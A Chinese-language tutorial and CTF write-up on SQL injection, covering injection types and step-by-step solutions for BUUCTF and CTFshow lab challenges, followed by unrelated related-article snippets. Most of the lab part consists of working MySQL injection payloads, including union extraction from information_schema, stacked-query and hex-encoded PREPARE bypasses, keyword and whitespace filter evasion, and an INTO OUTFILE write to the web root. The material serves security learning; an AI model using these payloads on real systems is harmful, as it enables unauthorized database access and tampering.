SQL注入基本原理靶場實現

????

一、前言

??????? SQL注入漏洞(SQL injection)是WEB層面高危的漏洞之一,也是常見的攻擊方式。

二、本質

1、什么是SQL注入

????????SQL 注入是一種利用應用程序對用戶輸入數據過濾不嚴格,將惡意 SQL 代碼插入到正常 SQL 語句中,從而操控數據庫查詢邏輯的攻擊技術。

????????其核心原理是混淆代碼與數據邊界,使攻擊者能夠執行非授權的數據庫操作。

????? 關鍵條件

  1. 用戶可控輸入:攻擊者能控制應用程序的輸入參數(如 URL、表單、Cookie)。

  2. 拼接 SQL 語句:程序直接將用戶輸入拼接到 SQL 查詢中,未做過濾或轉義。

  3. 數據庫權限過高:應用使用的數據庫賬戶權限過大(如 root

三、注入類型

1. 聯合查詢注入

  • 原理:通過 UNION 操作符將惡意查詢拼接到原查詢,合并結果集

  • 利用條件

    • 原查詢的列數與 UNION 后的查詢列數一致

    • 頁面有回顯查詢結果的功能

2. 報錯注入

????????原理:故意觸發數據庫報錯,使錯誤信息中包含敏感數據

3. 布爾盲注?

????????原理:通過頁面返回的布爾狀態(真/假差異,逐字符推斷數據

????????適用場景:頁面無回顯,但會根據 SQL 執行結果返回不同內容(如登錄成功/失敗)?

4. 時間盲注

????????原理:通過數據庫的延時函數(如 SLEEP()、BENCHMARK()),根據響應時間判斷條件真假
????????適用場景:頁面無任何回顯差異,但能感知響應延遲

5. 堆疊查詢注入

????????原理:利用分號 ; 執行多條 SQL 語句,實現增刪改查操作
????????依賴條件:數據庫支持多語句執行(如 MySQL 的 mysqli_multi_query)

6. 二次注入

????????原理:惡意數據先被存儲到數據庫,后續查詢時被觸發執行
????????特點:繞過輸入時的過濾(過濾不徹底或存儲后未轉義)

7. 寬字節注入

????????原理:利用數據庫字符集編碼(如 GBK)的特性,繞過轉義符(\)
????????關鍵:構造 %df',與轉義符 \ 結合成寬字符(如 %df%5c 對應 運),使單引號逃逸

?8、姿勢總結(自己總結的,根據實際情況改變)

?1、判斷注入點

?id=1'                     #看是否存在sql注入
#1' or 1=1#         
#和--在sql語句中起著注釋的作用,將后面的語句注釋掉,+ 則代表空,#在瀏覽器中需要url編碼	
?id=1' and 1=1 --+       #觀察是否有回顯
?id=1' amd 1=2 --+

?2、判斷當前表的字段個數

1' order by 1# --+        

?3、判斷顯示位

?id=1' union select 1,2,3--+

4、爆出庫

1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1  and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

?5、爆出表

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='庫名'--+

?6、爆出列

?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='庫名' and table_name='表名'--+

?7、查詢內容

?id=-1' and 1=2 union select 1,2,group_concat(字段) from 庫名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

四、靶場實現

BUUCTF CTF

1、easy_sql

1、進入靶場,輸入1’ or 1=1

得到

2、輸入1‘ or 1#將后面的注釋掉

得到回顯

3、判斷一下字段個數' union select 1,2;#

select被過濾

4、輸入1;show databases;#爆破庫

得到該表的數據庫內容

5、輸入1';show tables;#爆破表

得到兩表

6、查看一下第一個表1919810931114514的表結構

有兩種方式

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

#注意,如果tableName是純數字,需要用包裹,比如 1';desc 1919810931114514`;#

得到類型為字符型

方法一:因為select關鍵字被過濾了,所以我們可以通過預編譯的方式拼接select 關鍵字:

1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#

方法二:

select*from`1919810931114514`
語句進行16進制編碼,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替換payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同時,我們也可以先定義一個變量并將sql語句初始化,然后調用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三:通過修改表名和列名來實現。我們輸入1后,默認會顯示id為1的數據,可以猜測默認顯示的是words表的數據,查看words表結構第一個字段名為id我們把words表隨便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以達到直接輸出flag字段的值的效果

1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#

方法四:此題還可以通過handle直接出答案: 1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READFIRST;HANDLER 1919810931114514CLOSE;

2、LoveSQL

1、使用1'出現報錯說明存在SQL注入

2、使用萬能密碼得到

3、爆字段

check.php?username=admin ' order by 1 %23&password=1

check.php?username=admin ' order by 2 %23&password=1

check.php?username=admin ' order by 3 %23&password=1

得到有3個字段

4、看回顯

1' union select 1,2,3#

得出回顯位在2,3

5、爆數據庫

1‘ union select 1,database(),version()#

得到數據庫名geek 和數據庫版本

6、爆數據表

1' union select 1,2,group_concat(table_name)from information_schema.tables where

table_schema=database()#

得到兩張表

7、爆破字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where

table_name='l0ve1ysq1'#

8、爆破flag

1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1

3、BABYSQL

雙寫繞過

進入靶場

1、使用萬能密碼嘗試

發現有過濾但是不知過濾什么

2、查看字段

發現過濾了or,雙寫繞過

1' oorr by 1#

3、爆破數據庫

發現union select過濾

1' ununionion seselectlect 1,2,database()#

雙寫過后

找到數據庫名稱

4、爆破表

1' ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where

table_schema='geek'#

雙寫后

1 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom

infoorrmation_schema.tables whwhereere table_schema='geek'#

5、爆破列表

1 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom

infoorrmation_schema.columns whwhereere table_name='b4bsql'#

6、爆破字段

1 1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

CTFshow

WEB171

1、?id=1' order by 3--+     //判斷回顯位有三個字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出庫名  information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表   ctfshow_user4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段  id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到數據  admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}

web172

1、?id=1' order by 2--+     //判斷回顯位有兩個字段2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+//得到庫名  	information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1沒有flag4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到數據
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}

web173

1、?id=1' order by 3--+     //判斷回顯位有三個字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出庫名  information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表  ctfshow_user,ctfshow_user2,ctfshow_user34、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段  id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}

web174

//檢查結果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查詢成功';}1、?id=1' order by 3--+     //判斷回顯位有2個字段2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用數字代表字段時沒有回顯,應該是被過濾了,所以換成null
得到庫名	information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因為0-9都被過濾了,所以將1-9-0替換成A-J
查詢得ctfshow_userD替換為數字為ctfshow_user4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag    ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替換回來
def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("輸入:")
out = rev_replace(txt)
print("替換后: ", out)輸入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替換后:  ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag

web175

1、寫時間盲注腳本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接將flag寫入到靶場服務器文件中

web176

1、1' order by 4--+   //無回顯判斷出回顯位有三位
2、1' union select 1,2,3--+  //無法查詢到數據1'--+和1' --+ //可以查詢到數據說明單引號和空格沒有被過濾1' union Select database(),2,3--+//查詢到數據庫名稱ctfshow_web所以是select被過濾了,用大寫繞過
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+查詢到數據庫表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+查詢到數據庫列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+查詢字段數據//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}得到flag

web177

1、1'--+無數據顯示--+編碼后1'%23可以回顯數據,所以--+被過濾1' %23無法顯示數據,空格也被過濾1'%0a%23有回顯
2、1'%0aor%0a1=1%23萬能密碼直接得到flag
3、1'%0aorder%0aby%0a4%23  //判斷回顯位為3按照上題步驟將空格和--+替換即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23得到flag

web178

1、與上題一樣空格和--+被過濾
萬能密碼直接得到flag或替換

web179

其他可替代空格的字符
URL編碼	ASCII字符	說明
%20	空格	標準空格
%09	制表符	水平制表符(Tab)
%0a	換行符	新行(LF,Unix換行)
%0d	回車符	回車(CR,舊版Mac換行)
%0c	換頁符	分頁符(Form Feed)
空格與--+與%0a都被過濾
1、1'%0cor%0c1=1%23

web180

空格,--+,%0a,%23都被過濾了
用--%c閉合
也可以這樣'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到數據庫ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag

web181

1、1'%0cor%0c1=1--%0c萬能密碼
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、這里我們主要用到and的優先級比or高可以看到源代碼里面有and可以在and后面加or使其在執行了and以后 or的前后都執行所以構造payload-1'||username='flag

web182

1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配

至此SQL注入告一段落

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/76502.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/76502.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/76502.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

圖像預處理(OpenCV)

1 圖像翻轉(圖像鏡像旋轉) 在OpenCV中,圖片的鏡像旋轉是以圖像的中心為原點進行鏡像翻轉的。 cv2.flip(img,flipcode) 參數 img: 要翻轉的圖像 flipcode: 指定翻轉類型的標志 flipcode0: 垂直翻轉,圖片像素點沿x軸翻轉 flipcode>0: 水平翻轉&…

PCDN收益高低的關鍵因素

PCDN(P2P內容分發網絡)收益好的三個主要關鍵因素是:硬件配置與性能、網絡環境與質量、業務調度與策略。 1. 硬件配置與性能 設備穩定性與兼容性 PCDN節點需長時間穩定運行,硬件性能直接影響收益。例如,使用高性能CPU、…

『生成內容溯源系統』詳解

生成內容溯源系統詳解 1. 定義與核心目標 生成內容溯源系統(Generative Content Provenance System)是指能夠追蹤AI生成內容的來源、生成過程、版權歸屬及修改歷史的技術體系。其核心目標是: 驗證真實性:證明內容由特定AI模型生…

conda如何安裝和運行jupyter

在Conda環境中安裝和運行Jupyter Notebook是一項常見且實用的任務,特別是在數據科學和機器學習項目中。以下是使用Conda安裝和運行Jupyter Notebook的步驟: 安裝Jupyter Notebook 首先,確保你的Conda是最新的。打開終端或Anaconda Prompt&a…

QML之Flickable(滾動區域)

Flickable 是 QML 中用于創建可滾動區域的基礎組件,它比 ScrollView 提供更底層的控制,適合需要自定義滾動行為的場景。 基本用法 qml import QtQuick 2.15Flickable {width: 200height: 200contentWidth: 400 // 內容總寬度contentHeight: 800 // 內…

【NumPy科學計算引擎:從基礎操作到高性能實踐】

目錄 前言:技術背景與價值當前技術痛點解決方案概述目標讀者說明 一、技術原理剖析關鍵技術模塊說明技術選型對比 二、實戰演示環境配置核心代碼實現運行結果驗證 三、性能對比測試方法論量化數據對比結果分析 四、最佳實踐推薦方案 ?常見錯誤 ?調試技巧 五、應用…

PandaGPT實戰(1): 環境配置及效果演示

文章目錄 1. 環境安裝2. 數據準備2.1 模型權重獲取2.2 訓練數據準備3. 效果演示3.1 訓練3.2 部署效果PandaGPT是首個無需顯式監督即能跨六種模態執行指令微調任務的基礎模型。它展現出多樣化的多模態能力,包括復雜理解/推理、基于知識的描述以及多輪對話交互。 作為通用型指令…

spring security oauth2.0 使用GitHub

在 Spring Security 中集成 GitHub 的 OAuth 2.0 登錄,可以實現用戶通過 GitHub 賬號快速認證。以下是完整的分步實現指南和代碼示例: 一、前置準備 1. 在 GitHub 注冊 OAuth 應用 訪問 GitHub Settings → Developer settings → OAuth Apps點擊 New …

QT聊天項目DAY01

1.新建初始項目 2.修改UI格式 運行效果 3.創建登錄界面 設計登錄界面UI 設計布局 調整布局間距 往水平布局中拖入標簽和文本輸入框 更換控件名稱并固定高度 添加窗口部件 往現有的資源文件中導入圖片 添加水平布局 4.設置登陸界面為主窗口的核心組件 #pragma once#include &l…

檢測到目標URL存在http host頭攻擊漏洞

漏洞描述 修復措施 方法一: nginx 的 default_server 指令可以定義默認的 server 去處理一些沒有匹配到 server_name 的請求,如果沒有顯式定義,則會選取第一個定義的 server 作為 default_server。 server { …

小甲魚第004講:變量和字符串(下)| 課后測試題及答案

問答題: 0. 請問下面代碼有沒有毛病,為什么? 請問下面代碼為什么會出錯,應該如何解決? 答:這是由于在字符串中,反斜杠()會與其隨后的字符共同構成轉義字符。 為了避免這種不測情況的發生,我們可以在字符串的引號前面…

Hyprnote開源程序是一款記錄和轉錄您會議的 AI 記事本。 本地優先且可擴展 。

一、軟件介紹 文末提供源碼下載學習 Hyprnote開源程序是一款記錄和轉錄您會議的 AI 記事本。 從您的原始會議記錄中生成強大的摘要,本地優先且可擴展 。使用開源模型 (Whisper & Llama) 離線工作,高度可擴展 ,由插…

FreeRTOS使任務處于阻塞態的API

在FreeRTOS中,任務進入阻塞狀態通常是因為等待某個事件或資源。以下是常用的使任務進入阻塞態的API及其分類: 1. 任務延時 vTaskDelay(pdMS_TO_TICKS(ms)) 將任務阻塞固定時間(相對延時,從調用時開始計算)。 示例&…

各種“排序”的方法

文章目錄 插入排序1. 直接插入排序(O(n^2))舉例1:舉例2:直插排序的"代碼"直插排序的“時間復雜度” 2. 希爾排序(O(n^1.3))方法一方法二(時間復雜度更優) 選擇排序堆排序直接選擇排序 我們學過冒泡排序,堆排序等等。(回…

【Linux網絡與網絡編程】08.傳輸層協議 UDP

傳輸層協議負責將數據從發送端傳輸到接收端。 一、再談端口號 端口號標識了一個主機上進行通信的不同的應用程序。在 TCP/IP 協議中,用 "源IP","源端口號","目的 IP","目的端口號"&…

python求π近似值

【問題描述】用公式π/4≈1-1/31/5-1/7..1/(2*N-1).求圓周率PI的近似值。 從鍵盤輸入一個整數N值,利用上述公式計算出π的近似值,然后輸出π值,保留小數后8位。 【樣例輸入】1000 【樣例輸出】3.14059265 def countpi(N):p0040nowid0for i i…

第十六屆藍橋杯省賽JavaB組題解

A 逃離高塔 第一道填空題很簡單&#xff0c;根據題意跑一邊循環即可&#xff0c;一共是202個符合條件的數 public static void main(String[] args) {Scanner scanner new Scanner(System.in);int ans0;for(long i0;i<2025;i){if((i*i*i)%103)ans;}System.out.println(ans)…

汽車車窗升降系統全生命周期耐久性驗證方案研究

隨著汽車行業的快速發展&#xff0c;消費者對于汽車品質和安全性的要求日益提高。汽車車窗升降系統作為汽車電子系統中的重要組成部分&#xff0c;其可靠性和耐久性直接影響到用戶的使用體驗和行車安全。車窗升降系統在日常使用中頻繁操作&#xff0c;承受著各種復雜的工況&…

嵌入式Linux——8 串口

目錄 1.終端&#xff08;tty&#xff09; /dev/tty*&#xff1a;物理/虛擬終端 /dev/pts/*&#xff1a;偽終端 /dev/tty&#xff1a;當前進程的控制終端 /dev/tty0&#xff1a;當前活動的虛擬控制臺 2.行規程模式&#xff08;line discipline&#xff09; 比較行規程和原…

Docker日志查看與資源監控指令全解:從基礎到高階運維實踐

Docker日志查看與資源監控指令全解&#xff1a;從基礎到高階運維實踐 一、日志管理&#xff1a;穿透容器內部的眼睛1.1 基礎日志操作核心命令&#xff1a;docker logs日志驅動配置 1.2 高級日志處理JSON日志解析多容器日志聚合 二、資源監控&#xff1a;掌握容器生命體征2.1 實…